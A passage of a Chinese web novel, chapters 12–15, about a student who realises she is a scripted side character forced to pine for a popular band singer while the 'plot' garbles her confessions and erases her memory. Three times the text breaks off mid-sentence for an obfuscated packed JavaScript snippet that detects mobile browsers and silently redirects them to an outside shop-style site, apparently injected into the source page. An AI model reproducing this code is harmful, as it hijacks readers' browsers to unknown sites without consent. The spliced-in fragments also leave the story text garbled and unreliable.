“你说得没错,人太多了,挤不到前排。”段胥阳笑了一声,也抬起头看着那轮圆月:“我们带着老人家,就只远远地看了一阵,还不错,但是少了点浪漫。” 罗姝只笑了一声,没有搭话,段胥阳不想冷场,又极速转动大脑,疯狂想话题:“对了,你剪的那个视频,我还发给乐队其他人看了,大家都说你剪的特别好,根本不像一个初学者呢,啊哈哈。” “网上教学素材比较多,我都跟着学了点,其实还是有些乱,以后我还会进步的。”罗姝又想起自己剪辑时的感受,想到李娟老师说的话,她心底一闪而过什么念头,却没有及时抓住。 “段胥阳,我能问你一个问题吗?”她将一只手揣进衣兜,“你是什么时候发现,自己很喜欢音乐的?” “很小很小的时候,家里只要放起歌曲,我就会跟唱,大家都开玩笑夸我是小歌星,慢慢就在我心里种下了一颗种子。”段胥阳倨傲地说:“我就要当巨星。” “罗姝,你知道吗?梦想是有路径的,当我开始思考我如何才能实现我的目标时,我就已经踏上了追梦的第一步。所以,心动就要行动。” “想,只会得到问题;做,才能得到答案。” “咳,什么担心自己考试不及格啊,暗恋被拒绝啊……”段胥阳支支吾吾地接着说:“那就学习啊,那就告白啊,你不告白,怎么能笃定没有好结果呢?对吧?” 他提起小心脏焦急地等罗姝的回复,却只等来一句:“段胥阳,我要进电梯了,电梯里没信号,我得先挂断了。” 段胥阳只能失望地点点头:“好,你进家门了就跟我说一声。” 行吧,今天至少还当了个无名的护花使者。 12. 暗恋第10天 挂断电话,段胥阳又匆匆忙忙赶了回去,一位华发丛生的老人好气又好笑地伸出手指冲着他点了点:“混小子,到处乱跑。” “嘿嘿嘿,好外婆,是我的错,让您等急了吧?”段胥阳腆着笑脸迎上去,搀扶住老人:“我扶着您回家,背着您也行。” 老人狐疑地凝眸看他:“这是怎么了?一脸谄媚。” 段胥阳顿时叫屈:“怎么叫谄媚啊,您亲外孙心疼您还不成吗?” 说完,他又嘿嘿笑了两声:“也是感谢您,这么多年来,我还是头一次发现您住的地方这么好。” 乔玉清倒是了然,她牵着坨坨的手快步走了两步,贴着老人家的耳朵说:“您也别多问了,坨坨刚刚跟我说,他刚刚跑出去是专程去送小姑娘回家。” “我看啊,兴许要不了多久,这臭小子就把您未来外孙媳妇带来给您瞧了。”说着,乔玉清故意放大音量,打趣似的瞧着段胥阳。 “哟!”老人年纪大,手劲可不小,她重重拍了一掌在段胥阳肩膀上,又笑又骂:“跟你爹一个德行,才多大年纪就知道找对象。你可注意了,别跟你外公说漏嘴,他现在都记恨你爸在你妈妈刚过20岁就上门提亲的事呢。” “那这是我外公不对,我妈嫁给我爸过得多幸福啊。我继承的都是父母的优良基因,我也对媳妇好。” “就会贫嘴!” 一家人有说有笑地回了家,当天夜里,段胥阳就接到了乐队贝斯手孟宇寰的电话。 孟宇寰是乐队里年纪最大的前辈,今年大三。虽然他总是开玩笑说找不到工作就找家婚庆公司上班,其实一直想做一名音乐制作人。 他门路广,有不少搞音乐的朋友,这次就是他的某个朋友给他传了话。 是某部热门动漫想在最新一季换个片头曲,导演更希望让新人来制作,就发动朋友圈进行内推。 得到内推机会的音乐人不少,剧组要求所有参赛选手在小长假结束前发送一小段1分钟以内的demo,择优录取。 由于逆时针乐队都是一些大学还没毕业的纯学生,剧组刚开始并不打算考虑他们,孟宇寰的朋友也是颇费了一番功夫,才给逆时针乐队争取到了这次机会。 “小阳,机会难得,我知道我们时间很紧,但是我也相信我们的实力,只要我们肯拼尽全力,未必不能成功。”孟宇寰在电话里面劝说他。 段胥阳正在搜索那部动漫的信息,动漫已经出了三季,现在制作的是第四季。因为剧情热血、角色立体、画面精美等诸多优势,上映几年已经累积出数量庞大的粉丝。 前几季的主题曲、片头片尾曲、插曲几乎都在热歌榜上,歌曲主创团队也因此在业内有了知名度。 傻子才会错过这次机会。 “哥,我和曹非明天中午路演结束后就启程回去,麻烦你跟大骏哥再说一声。” 他口中的大骏哥全名叫金大骏,是乐队的鼓手,虽然才刚上大二,但已经有几年的编曲经验。 孟宇寰顿时兴奋起来:“好!我在工作室等你们!” “对了哥,之前我给你看的视频要不今天就发?攒几天收赞评,到时候剧组那边听到我们的demo,想搜我们的资料,数据也好看一点。” 罗姝是洗完澡后才看到段胥阳给她发了消息,跟她说他得提前回去,不能捎她回学校了。 其实罗姝早就买好了返程的火车票,看到消息,她反而是惊讶于段胥阳的热心,他居然还打算让她免费蹭车! 发了一条祝他一切顺利的回信,罗姝本想将手机放下去吹头发,却听见手机铃声清脆地响了几声,段胥阳给她发来一张截图。 是一张社交软件后台数据的截图,上面显示播放量已经达到2.8万,点赞过万,还有近三千条评论。 “感谢小福星罗姝同学,在你的大力帮助下,这一条视频荣获逆时针乐队账号最热视频荣誉称号。” 罗姝惊喜地瞪大眼睛,她找到原视频点进去一看,实时热度还在不断攀升,每刷新一次,点赞次数就会上涨至少两位数。 评论区里涌入了大片单纯舔颜的颜粉,也有不少关注了他们一段时间的老粉,这批粉丝都在夸这一期视频剪辑得很不错,生动有趣。 罗姝看着一句又一句的肯定,心跳忍不住加速。她知道这条视频会爆的真正原因是段胥阳,是他的热度带来了对她的褒奖。 但她还是止不住得高兴,她的努力得到了正向的肯定。 “你是一块正被挖掘的金子,是金子总会发光的,我的视频只是盛放金子的托盘,是你照亮了我。” 罗姝不敢居功,一字一字认真打出来这段话,又从表情包库里找了好几个可爱软萌的表情包,一起发给段胥阳。 那之后的时光就像开了倍速一样,眨眼间,就到了应该返校的日子。 给坨坨当面补习的最后一天结束,乔玉清打包了好几盒住家阿姨做的手工月饼让罗姝带上,坨坨也恋恋不舍地粘着她身后,一直到她上了公交车,才一小步一小步挪回了家。 罗姝坐在靠窗的位置,目送那小小的身影走进小区,才安心地看回正前方。人的感情是最奇怪的,她在自己的亲人身上都感受不到的那种温情,竟然从客户的身上感受到了。 又折腾了好几个小时,等罗姝回到学校已经是晚上八点过后,她的室友们都已经返校,正乐乐呵呵地分享自己带来的零食。 罗姝的桌子上早已被摆满了各种各样的特产,等她进门时,室友们垂涎的目光也直接落到了罗姝手里的几个大箱子上。 看着那一双双发绿的眼睛,罗姝笑弯了眼睛:“来,都是给你们带的,直接拿。” 就听见一声欢呼,室友们饿狼扑食般冲了上来,很快就将罗姝带来的各式小零食瓜分殆尽。 康雅琪嘴里还塞着肉脯,明明两颊鼓得像只仓鼠,还一副故作高深的模样,含含糊糊地对罗姝说:“姝姝,我手头有一个重要情报,我要求你拿正式开课后的课堂笔记跟我换!” 白婵和林莎立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924056|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马正襟危坐,异口同声道:“我们虽然没有情报,但是我们可以随时陪伴你,给你提供情绪价值!我也要课堂笔记!” “我要求先听是什么情报。”罗姝举手表态。 康雅琪得意地笑了两声,甩了甩自己的手机,故意板出不伦不类的播音腔:“此物为:作曲与作曲技术理论专业大一年级上学期课表。” 罗姝脑子里反应了两秒,才反应过来,段胥阳正是就读于音乐学院作曲与作曲技术理论专业。 “你那是什么表情!”看罗姝一副呆愣的模样,康雅琪柳眉一竖:“这份课程表虽然不是保密文件,也是我日夜不休刷校园墙八卦才刷到的!” 罗姝赶紧上前哄她:“我知道,谢谢你,我是在思考拿到人家的课程表该怎么用。” “那还不简单,要人家课表的目的是什么?蹭课啊!专业课蹭不到,公共课还蹭不到吗?”林莎手舞足蹈地比划起来:“听说公共课都是好几个班一起上,加起来小两百号人呢,教室门都不关的,随便人进来上课。” “到时候,我们早早到他教室里占个位置,等段胥阳进来,就悄悄坐到他附近去~送送秋波,谈谈心事,一来二去这不就……” 罗姝看着她伸出两根食指互相撞来撞去的动作,顿时大悟:“我懂了!这就叫制造偶遇!” 制造偶遇,也是暗恋的外在表现之一,终于可以继续执行暗恋计划了! 这几天段胥阳闭关写歌,两人失去互动,罗姝只能在睡前给他发一张表情包,一遍遍暗示自己正在暗恋段胥阳,每晚都要担心晚上会不会做梦。 如今有了具体能做的事项,罗姝总算松了一口气。 白婵闻言皱眉思考了一瞬:“这叫偶遇吗?”接着她手一挥,一脸无所谓道:“不管叫什么,总之是能够起到助攻作用的。有用的事,我们就去做!” “会不会有很多人来蹭课啊,万一抢不到座位,就白跑一趟了。”罗姝还记得逆时针乐队首演那天的盛况,不免有些担心。 “不会吧?”康雅琪犹豫着回答:“虽然转发课表的人很多,但是上课这种事,真的会有人抢着去上吗?躺在床上看帅哥近照才爽吧。” 几个从没有过crush的女大学生俱是认可地点头。 “好,那跟我们的课表对过了吗?”罗姝采纳,并提出关键问题:“有没有课程冲突?” 室友三人:“……” “还真没有。” 几人忙手忙脚乱地屏幕对屏幕一一对比起来,最终遗憾发现,仅有每周三上午的一节思修课有空去蹭。 罗姝忍不住萎靡。那她每周其他时间还要想别的办法暗恋段胥阳。 林莎见氛围一片低迷,便鼓舞士气道:“课余时间也可以偶遇嘛,学校就这么大,公共课教学楼只有这一栋,早晚能碰到的,再说了,姝姝不是还答应帮他剪视频吗?每周一块小蛋糕呢。” “没错,”罗姝握拳给自己鼓劲:“大不了我在微信上多给他发几个表情包!” 13. 暗恋第11天 罗姝的大学生活事实上是从这一天正式开始的。 担心第一次上课迟到,明明八点钟才上课,早上七点罗姝就起了床。 一番洗漱后,她看了眼时间,把仍在梦乡中的室友们一一喊醒,就带着一整个寝室的希望向食堂出发,在一大片早八大军中成功抢到了四份鸡蛋饼。 随后,她与已经赶到学生食堂门口的室友们汇合,四人边走边吃早餐,再吐槽两句校园太大的苦恼。 “咱们学校足足三个校区,还有学生宿舍分在南区,教室分在北区,相比之下,我们还算幸运的,至少都在北区。”康雅琪平时就爱浏览校园墙和贴吧、论坛这种校友聚集的地方,现在说起来也是头头是道。 白婵从学校小程序上翻出地图仔细看了看,不由得头疼地叹气:“也只是稍微好一点,今天咱们第一节课在旅院专属教学楼,第二节课在公共教学楼,两栋楼之间相隔1673米,但课间时间只有20分钟。同时,这两栋楼距离我们宿舍楼都是一公里多一点……” 罗姝也跟着叹气。楼与楼之间距离这么远,满心都是赶路不要迟到,哪还有精力关注能不能和段胥阳偶遇啊。 除了赶路的辛苦,几个刚刚从传统中小学教学模式中脱离出来的大一新生,对于大学的教学模式都感到十分新奇。 哪怕她们从前也经历过走班,但仍然有一个固定教室,而在大学里,开班会都要先申请教室,学生们唯一的固定打卡地只有宿舍。这种截然不同的体验,叫每个人都有些兴奋。 然而到了教室门口,看到一张张朝气蓬勃、妆容精致的面庞,这种兴奋顿时萎靡了。 林莎咬牙切齿:“为什么……会有人全妆上早八!这件事千万不要让我寝室里的化妆品知道,它们会误会我不爱它们了!” “当代年轻人居然可以做到晚上熬夜到凌晨,早上全妆上早八?”康雅琪震惊且不解:“校园墙上不是个个都说自己起不来吗?” 无论如何,同学们精致美丽的面貌将这四人衬托得灰头土脸,罗姝甚至怀疑自己眼角会不会还挂着不明分泌物,她毫不犹豫地从包里翻出四个一次性口罩,一一分发给室友们。 她其实挺乐意跟新同学们笑脸相迎,热情交友,但现在还是遮一遮吧,孩大要脸。 除了仪容仪表,罗姝对大学生活的不适应还表现在方方面面。 老师进教室时,她还做贼心虚般迅速收起了手机,然而老师进教室没说两句话,就在投屏上调出一个二维码,让学生们拿出手机来扫码签到。 罗姝:“……”差点忘了大学老师不会没收手机。 一节课接近两个小时,中间简单休息了十分钟,白婵一脸生无可恋地靠在罗姝肩膀上,声音极度虚弱:“不行了,老师一直在读PPT,好催眠。为什么大学课堂这么漫长,坐着坐着我都想莫名其妙站起来做一套广播体操。” 这边话音刚落,罗姝的右肩上也倒下一个人,康雅琪颤颤巍巍地向前伸出手:“你居然还能做出字迹清晰的笔记,我要复印,我要复印!” 林莎和罗姝中间隔着一个康雅琪,她上课一直在看手机,都没发现罗姝竟然还做了笔记,闻言诧异道:“姝姝,这节课直接拍老师的PPT就好啦,不用做笔记的。” “嗯,我把课件上的内容和课本上的内容结合起来梳理了一下,”罗姝微微一笑,身后顿时爆发出属于学霸的光辉:“课件上的所谓重点,其实逻辑不够清晰,课本上有更简练的解释。我看了一下课本去年刚修订过,老师使用的课件应该还是旧版本。” “不愧是全寝室高考成绩最高的女人。”白婵表情幽怨地坐直,死鱼一样的眼睛谴责地看着罗姝:“我们只想着期末能及格就行,而你,我的朋友,你是真的想要学会。” “得先学会才能保证考试成绩呀。”罗姝疑惑看过去,她觉得白婵的逻辑不对。 但白婵自有一套道理,只听她一本正经地胡说八道:“不不不,我可是网上查过资料的,有相当大一部分大学生,考试及格全靠考前最后几天死记硬背,考完就得赶紧忘了,留在脑袋里只会占内存。” “我就是那种需要及时清内存的。”康雅琪比划了一下自己的脑仁大小:“高中三年,大脑容量已经消耗差不多了,现在没比棒棒糖大多少。” 说着,她掏出一捧棒棒糖出来,还热心地分给其他人。 艰难地上完第一节课,四人又匆匆忙忙转场到公共教学楼,下节课正好是罗姝自己班级的思修课。 相比起爱念PPT的老师,这位老师尤其喜欢提问,短短几分钟就已经从前排抽了数位同学,问题倒是不难,都是些初中知识。 但是让人胆战心惊、坐立不安,生怕下一个问到自己。 林莎悄悄发微信跟罗姝抱怨:“姝姝,如果周三那节思修课也是这样的画风,我真不敢想象你要怎么上完这两节课。” 罗姝正奋笔疾书中,并没有看到这条消息。 距离下课还有最后半个小时,老师的课件上忽然跳出四个大字:本周作业。 四周顿时响起一片参差不齐的哀嚎声,思修老师一听,笑出一口白牙,他拎起讲桌上的小话筒,说:“同学们不必紧张。想来你们也发现了,上大学以后最大的区别,就是自由。” 老师是沙嗓,略带颗粒感的声音通过话筒,在音响中传开,整间教室都仿佛变成了一片沙海。 “你们的行动是自由的,课表以外的时间是自由的,情感是自由的,所以,作业也是自由的。” 正当学生以为这是选做型作业时,老师又话音一转:“你们可以自由组队,每4-6人为一个小组,围绕思想道德修养与法律基础,结合马克思主义理论,自由取材,不拘形式,创作出一段不少于5分钟的视频,下周上课前发到我的邮箱。” 说完,他就把剩下的时间交给学生们自主讨论。 林莎把脸皱成了包子样,垂头丧气:“一堆定语的自由,那叫什么自由。” “那就,默认成组?”罗姝把作业要求整理好,左右扭头看了看室友们。 见室友们都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924057|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反对,她接着说自己的想法:“前几天我们不是还在说吗?自媒体也是我们专业的就业方向之一,现在老师布置了这样一个视频作业,正好可以让我们尝试一下。” 此话一出,就连提出自媒体方案的白婵都愣住不敢动:“此话怎讲?” “我觉得我们可以在旅游这个领域取材,把思修马哲跟我们的专业结合在一起。” 罗姝说完,随后又重新翻开一页笔记,做出要记录的姿态来:“当然这只是我的想法,你们有别的思路也都提出来,我们讨论一下各自的可行性。” 那三人对作业的理解其实只有三个字:录视频。她们也没有什么好的想法,便一致决定先听罗姝的,并死乞白赖地给罗姝分配了一个组长头衔。 罗姝懂得配合但不擅长指挥,急忙推辞:“既然我们是按照寝室组成一组,那组长也让寝室长来当吧。” 白·寝室长·娟闻言悔不当初道:“别说了!我要是早知道寝室长是学生会闯进寝室里随机点人来当,那天我就藏卫生间一晚上不出来!我这辈子就没当过官!” 就这样,罗姝正式成为小组长。三位嗷嗷待哺的室友正满心期盼等她分配任务。 其实罗姝对于下一步该如何推进作业也没有多少头绪,便说:“类似的作业学长学姐们肯定做过,其他学校可能也有,我们在网上搜一下吧,看看别人是怎么做的。” 随后,她也拿出手机来搜索。只是看着看着,她的思绪就跑到了老师那口口声声的“自由”上。 大学生活是自由的吗?至少在这间学校里,自由是相对的,而不是绝对的。 查寝、查课、必须及格的分数、绩点、综合测评和各种各样的规章制度搭起了一个框架,仅仅在这个框架内,学生才拥有了可支配自己的权力。 就像被笼养的野兽不能毫无过渡地被放归大自然一样,学生也要先在有限的空间里,逐步去感受自由、适应自由、习惯自由,才能真正掌控自由。 我是自由的吗? 罗姝这样想着,又切换到和段胥阳的聊天窗口,敲下我喜欢你四个字发送过去。 本就没有注入情感的文字告白,再度变成了一串长长的乱码,它紧挨着段胥阳给她的回复,丑陋得像一条横贯手机屏幕的蜈蚣。 我不是自由的。 罗姝确定了这个事实,说不清是提起了一口气,还是松了一口气。 那就让她也在剧情限制下的空间里,去尽力争夺、享受有限的自由吧。 而与此同时,刚压榨了自己几天,还没来得及休息就被拖来上课的段胥阳,正满脸困倦地拨弄手机。 最上方的消息框突然弹出来自罗姝的消息,是四个方方正正的大字,迷糊中看着像是在告白。 随即那弹窗消失的无影无踪。 段胥阳顿时一个激灵彻底清醒过来,他使劲揉了揉眼睛,忙点到微信里去看。 “……原来又是我在妄想。” 看着那串无意义的字符,段胥阳再度泄气,半眯起眼睛假寐。 14. 暗恋第12天 曹非和段胥阳不同专业,他是器乐专业,主修钢琴。 两人即使在同一个学院,课程表也没多少重合的,只有英语和思修这两节公共大课在一起。 曹非上午只有一节课,比段胥阳时间富裕得多,便承担了抢座、打饭等重要任务。 哪知,打好的饭都快放凉了,早就下课的段胥阳还不见踪影。 他正要发动夺命连环call,就见餐厅西门附近的落地窗外,出现了段胥阳那熟悉的身影。 他正慢吞吞走着,整颗头颅都快伸进了手机里,脚步拖得很长,周身弥漫着一股沉重的气息。 等段胥阳终于磨蹭过来,曹非担忧地问了一句:“是剧组那边拒绝我们了吗?” “啊?没有啊。”段胥阳茫然地抬起头:“我还没收到邮件呢。” 这下轮到曹非不解了:“那你干嘛这副表情,失魂落魄的。” “我在想一个很重要的问题。”段胥阳把捏了一路的手机放在两人中间,指着那行乱码一脸认真地说:“你说有没有一种可能,微信出bug了,这其实是一条告白短信。” 曹非在没听全他说什么之前,还当真探身过去看到底出了什么问题。听完后他无语地抬起头:“毫无可能。” 这斩钉截铁的言辞让段胥阳深受打击,他一脸受伤地捂住胸口:“可我明明感觉我看到了啊。” “你先回去睡一觉,醒来还是这症状的话,要不去看眼睛,要不去看脑子。”曹非落下结论。 段胥阳又思考了一会儿,突然把手机一放,整个人容光焕发起来:“我知道了!这一定是一个好的征兆。” 就像那个箭头是对他的优待一样,这次一定也是命运对他的提示! 本来只是口嗨对自己鼓劲,谁知命运就是这样眷顾他。 周三上午,当段胥阳在自己上课的教室里看到坐在前排的罗姝时,他终于忍不住对身旁的曹非露出一副得意又欠扁的嘴脸:“没人暗恋你可怎么办啊,你要落单了。” 曹非甩给他两个锋利的眼刀,赌气似的往后排走:“哼,谁稀罕坐老师眼皮子底下似的。” 后排坐得满满当当,前排还有不少空位,罗姝左右两边都是空着的,段胥阳丝滑落座,带着一股明知故问的劲儿问她:“你怎么在这儿?” 熟料罗姝对着他抿嘴轻笑了一下,愣是找出了一个逻辑严丝合缝的理由:“我们思修老师布置了作业,我想重听一遍课,整理作业思路。” 段胥阳:“……” 他撇撇嘴,哦了一声。 估计她那小脑瓜子里的机灵点子全使在他身上了,也怪不得他高中足足一年都没抓到她暗恋他的证据。 但罗姝还真像模像样地一直在笔记本上零零散散记录着什么,段胥阳无意间瞥到了几个字,又是马克思又是导游词,看起来不像是在乱写。 难道真的不是来看我的?段胥阳罕见地自我怀疑了一秒钟。 不可能!她明明可以蹭其他班的课,为什么偏偏坐在他的教室里,还是前排这么显眼的位置? 段胥阳迅速说服自己,她只是还没准备好正式告白,不想提前戳破这层窗户纸罢了。 罗姝和室友曾猜测,愿意多上一节课就为了看段胥阳一眼的人应该没多少。 事实证明,她们猜错了。愿意拿出一节课的时间来亲眼见一见校园风云人物的人多得是。 学生们源源不断走进教室,就连开始上课后都有从后门溜进来的,一直到这间教室全部坐满,老师叫人把前后门都反锁起来,才终于回归了正常的上课秩序。 对于这样的盛况,本该意外的罗姝竟然感到自己已经习惯了。 毕竟高中那三年间,每当新生入学后,但凡逢课间时间,段胥阳所在教学楼都会被慕名而来瞻仰他真容的学弟学妹们攻占。如今只是从课间变成了课上,还是那熟悉的感觉。 在众多若有若无的好奇目光中,罗姝察觉到了身边段胥阳那有些失落的情绪。 大概是他见她一个人形只影单的样子有些可怜,特意坐在她身边,但她却只顾着忙作业的事,没与他怎么互动,叫他感觉到了些许冷落。 段胥阳毫无疑问是个热情的人,他也同样需要别人积极的反馈。 众目睽睽之下,罗姝也不想讲悄悄话,或者掏出手机。她迅速偷看了段胥阳一眼,见他一副无心课堂的样子,才拿出一本不及一半手掌大的便签本,写上一段话推到他面前。 “我了解过了,咱们学校的思修课每个月都会布置一次视频作业,快到期末的时候统一评比,获得优秀作品荣誉的小组可以额外加学分。” 原本有些兴致缺缺的段胥阳收到纸条顿时鲜活起来,他双眼亮晶晶地盯着那几行秀气的文字看了又看,才写下回复递回去。 倒也没说什么,只是表示那他要开始认真听讲了。 罗姝听到身下座椅嘎吱响了一声,余光瞥到段胥阳已经坐得笔直。 她笑了下,将便签纸收了起来。 她倒是没想到,段胥阳竟然写着一手笔锋锋利的好字,观赏性极佳的行楷落笔如行云流水,叫人忍不住心生好感。 终于熬到课间休息时间,段胥阳这次放松身体,整个人向椅背靠过去。 罗姝已经整理好了作业草稿,将笔记收回了背包里,她把思修课本拧成棍状握在手里,双眼盯着空旷的桌面,不知在看什么,什么入神。 “你看什么呢?” 段胥阳好奇地凑过来,才发现桌面上有一只小蚂蚁。用了多年的教室桌面上有一些陈旧的笔痕,小蚂蚁被困在这些笔痕中间,找不到出路,焦急地团团转。 “看这只蚂蚁。”罗姝伸手指了指,她有些感慨:“我在想,如果我们的世界不是真实的,那么创造这个虚拟世界的家伙该有多么细致,就连一只小小的蚂蚁,都设计了它的习性、种群模式、行动习惯。” “在她创造的这个世界里,大自然纷繁复杂,历史久远,文明更迭,还有广袤的宇宙和神秘的深海……作者的设定该写多厚啊。”罗姝试图比划出一个高度,但她实在想象不到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924058|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便又悻悻收回手。 段胥阳也不知道她为什么突然说起“世界是虚假的”这种话,他眼神的定点向上挪动了几分,仔细看了看那个只有他才能看到的箭头。 这种玩意出现在生活中,确实会让人觉得世界不够真实。 段胥阳拧眉,好像那个箭头尖尖确实贴在她头顶上,从这么近的视角看,简直像她在用小小的脑袋顶起一个硕大的箭头,看着就疼。 “罗姝,”他也不知道他在心虚什么,总之声音微不可察地颤抖:“你是不是觉得头疼啊?” 罗姝:“……” 罗姝回以礼貌微笑:“我没生病,谢谢。” “那就好。”段胥阳一时间没听出她的无语,还松了一口气:“就算我们的世界是虚假的,也一定有一个真实世界作为蓝本,可不仅仅是作者的功劳。” “不过,你怎么思考这个?”他好奇地等着她回答。 罗姝看着这位世界的男主角,他们之间的距离是这样短,触手可及,她却不知道能否向他吐露关于这个世界的真相。 罗姝眼神飘忽了一下,不自然地动了动身体,才说:“就是在做作业的时候,多看了一些有关于哲学的资料。有一本哲学题材的小说,叫《苏菲的世界》。” 她简单概括了一下小说内容:“它讲的是一个叫苏菲的女孩,总是收到一些写给‘席德’的信件,她感到非常奇怪,最后却找到了一个惊人的真相:她所在的世界其实是一本小说,席德是小说作者的女儿,她只是为了给席德庆生而被创造出来的人物。” “看完之后,我也忍不住思考,如果我的世界也是一本小说……我能怎么办。”罗姝反问段胥阳:“如果你得知你是小说里的角色,你会怎么办?” 她的神情太过认真,段胥阳也跟着认真起来,他上网搜索了一下这本小说的完整剧情简介,看到最终结局是苏菲成功抵抗了小说作者逃出了虚拟世界后,认同地点了点头。 “我觉得,当小说里的角色能够绕过作者的安排,清晰意识到自己的存在是虚假的,就说明这个世界本质上已经在脱离作者的控制了。”段胥阳语气十分坚定:“那就彻底摆脱剧情的控制,将虚假的世界变成真实的世界。” ———— “同学,醒醒,要上课啦。”罗姝另一侧的女生轻轻推了推她,见她睁开了眼睛,才脸颊红扑扑地飞速说了一句:“麻烦你叫一下段胥阳,他也睡着了。” 罗姝茫然地扭头看过去,段胥阳跟她醒来时的姿势一样,正以手臂为枕,趴在桌面上陷入睡眠。 “我们怎么睡着了?”她皱起眉头,察觉到古怪。 明明在她的记忆里,上一秒老师才刚刚宣布进入休息,她还在整理桌面。 “不知道啊,”女生也很奇怪地看着她:“你们刚聊了几句,就齐刷刷趴下来睡觉了。” “你有听到我们在聊什么吗?”罗姝作出睡懵的表情:“我都想不起来了。” “哦,我听见是桌子上有一只小蚂蚁,段胥阳帮你把它拂走了。” 15. 暗恋第13天 老师的声音通过话筒的广播传遍整间教室,后排同学窃窃私语的杂音也不断钻入耳朵。 联排座位总是因为其他人的动作开合而抖动不停,数百人聚集在一起而产生的混杂气味更叫人头晕耳鸣。 眼前发生的一切都是那么的生动、真实。唯有罗姝知道,她的时间被悄然偷走了十分钟。 被叫醒的段胥阳还在困惑地揉着太阳穴,嘴里嘟囔不停:“怎么就跟喝多了断片一样,完全想不起来自己为什么睡着了呢,我们不是正在说话吗?奇怪,聊什么来着?” 罗姝垂下眼睑,看到段胥阳的反应,她确信两人一同睡着这件事,并不正常。 因为这个世界的背后,有一双幕后的黑手。他们这些有名有姓的角色,反而会被掌控着,得不到真正的自由。 尽管如此,罗姝也没有跟他多说什么,只是笑了一下,提醒他认真听课,便先一步将视线落到黑板上。 随后她开始思考,她和段胥阳之间到底发生过什么,才会被共同清空记忆。 罗姝回想起自己身上出现过的异状。 起初是五月份开始听到杂音。那些声音很乱,像是有许许多多的人同时张口说着不同的话,声音一句叠一句,听不清到底在说什么,但扰得人心烦意乱。 那应该是原剧情对她的第一次警示,想要要求她按照剧本在高考前后向段胥阳告白。 但她并没有理解这个意思,使得这个重要剧情并没有发生。 于是杂音一直到延续到九月份入学,她在大学校园里遇到段胥阳那天。 也是从那天晚上开始,她记忆清晰地频繁做梦,从梦中正式了解到小说全文,也明白了自己遭受一切折磨的真正原因,是因为她跑偏了剧情。 从开始决定走剧情暗恋段胥阳到现在,这短暂的时间里,她只做过一次噩梦,那一次她全天没有想到过段胥阳,当晚就受到了惩罚。 即便没有明确地被告知她应该怎么做,罗姝也由此知道,她想要得到清净,就得想办法在每天都表现出一点对段胥阳的在意。 她也曾在崩溃中想要干脆地结束剧情,然而两次通过社交平台向段胥阳告白,结果都是一样的,告白的文字刚发出去就变成了一串乱码。 这很明显,是剧情在干扰她的告白行动。 剧情为什么要干扰她的告白? 罗姝第一次认真思考这个问题。 是告白的时机不对吗? 罗姝在心里否认。她已经错过了剧情发生的正确时间,从某种程度上讲,只要她能在女主角曹恩悦重生之前完成这个剧情,就不影响后续对女主打脸效果的塑造。 是告白的方式不对吗? 罗姝犹豫了一下。按照梦境的提示,她应该写一封情书,在众目睽睽之下向段胥阳告白,才能实现被群嘲。 而这几次,她都是很私密地发微信告白,从这个角度来讲,这样的告白确实达不到目的。 罗姝回头看了一眼,感受着整间教室里乌泱泱一片人头的冲击感。要是能在这几百号人面前告白被拒绝,她绝对能在全校出名,超额完成群嘲任务。 她决定一会儿下课就试试对段胥阳当面告白。 以防万一,还得准备一封情书。 她撕下一页新的便签纸,窝在课桌里在上面草草写下“我喜欢你很久了”几个字,便折叠起来放进衣兜里。 告白跟被清空记忆之间能有联系吗? 罗姝也说不清,毕竟如果她能明确知道自己到底触及了什么雷点被按头入睡的话,那就不是失忆了。 反正肯定离不开原小说这个幕后黑手,她照着这个方向慢慢试验,总会找到原因的。 时间缓慢流逝,终于等来了下课的铃声。有不少男生动作非常迅速,铃声还没响完,他们就已经冲出了教室。 罗姝想到自己一会儿要做的事情,深吸了一口气,感到自己有些紧张。 “段胥阳,我有话跟你说。” 小小一张便签纸捏在手心里已经被汗浸湿,明知结果的告白依然叫人心跳加速。 罗姝双手背后掐了自己一下,才启唇说道:“我……” 喜欢你。 嘴唇像是被人打了一剂强力的麻药,在她试图将这段文字完整吐露出来时,剧烈的酸麻来袭,罗姝眼里泛起生理痛的泪花,却浑身动弹不得。 说不出口,为什么? 对上段胥阳那疑惑的视线,从不适中缓过神来的罗姝眨了眨眼睛,眨掉挂在眼睫上的一颗泪,她抬起手将其拂去:“我能跟你们一起吃中午饭吗?” “当然可以啊。”段胥阳笑了一下,“我还以为你要说什么呢,我们院有自己的小餐厅,种类比北区大餐厅丰富,味道也不错,去那里可以吗?” 罗姝忙点了点头,便心不在焉地跟在他身后。 